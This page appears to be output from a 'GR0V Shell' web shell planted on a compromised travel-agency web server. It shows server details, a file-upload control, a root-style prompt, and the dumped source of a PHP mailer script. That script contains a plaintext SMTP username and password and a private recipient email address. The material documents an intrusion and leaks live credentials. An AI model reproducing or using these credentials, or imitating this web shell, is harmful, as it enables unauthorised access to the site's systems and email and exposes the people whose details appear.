? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/mailer/
File Upload :
Current File : /home/admin/public_html/old/mailer/sendmail2.php

<?php
ob_start();
require_once('class.phpmailer.php');

$mail             = new PHPMailer(); // defaults to using php "mail()"

/*$mail->IsSendmail(); // telling the class to use SendMail transport*/
$mail->CharSet = 'UTF-8';
$mail->isSMTP();
$mail->Host='smtp.happytokorea.com';
$mail->Port=25;
$mail->SMTPSecure='tls';
$mail->SMTPAuth=true;
$mail->Username="info@happytokorea.com";
$mail->Password="ktcc2015";

$mail->AddReplyTo("info@happytokorea.com");
$mail->SetFrom('info@happytokorea.com');
$mail->AddReplyTo("info@happytokorea.com");
echo "<strong>Send To</strong><br>";
	$mail->AddAddress("nalin.kiat@gmail.com");


$mail->Subject    = "testing";

$mail->MsgHTML(file_get_contents('tempHK.php'));


if(!$mail->Send()) {
  echo "Mailer Error: " . $mail->ErrorInfo;
} else {
  echo "Message sent!";

}

?>

T1KUS90T
  root-grov@210.1.60.28:~$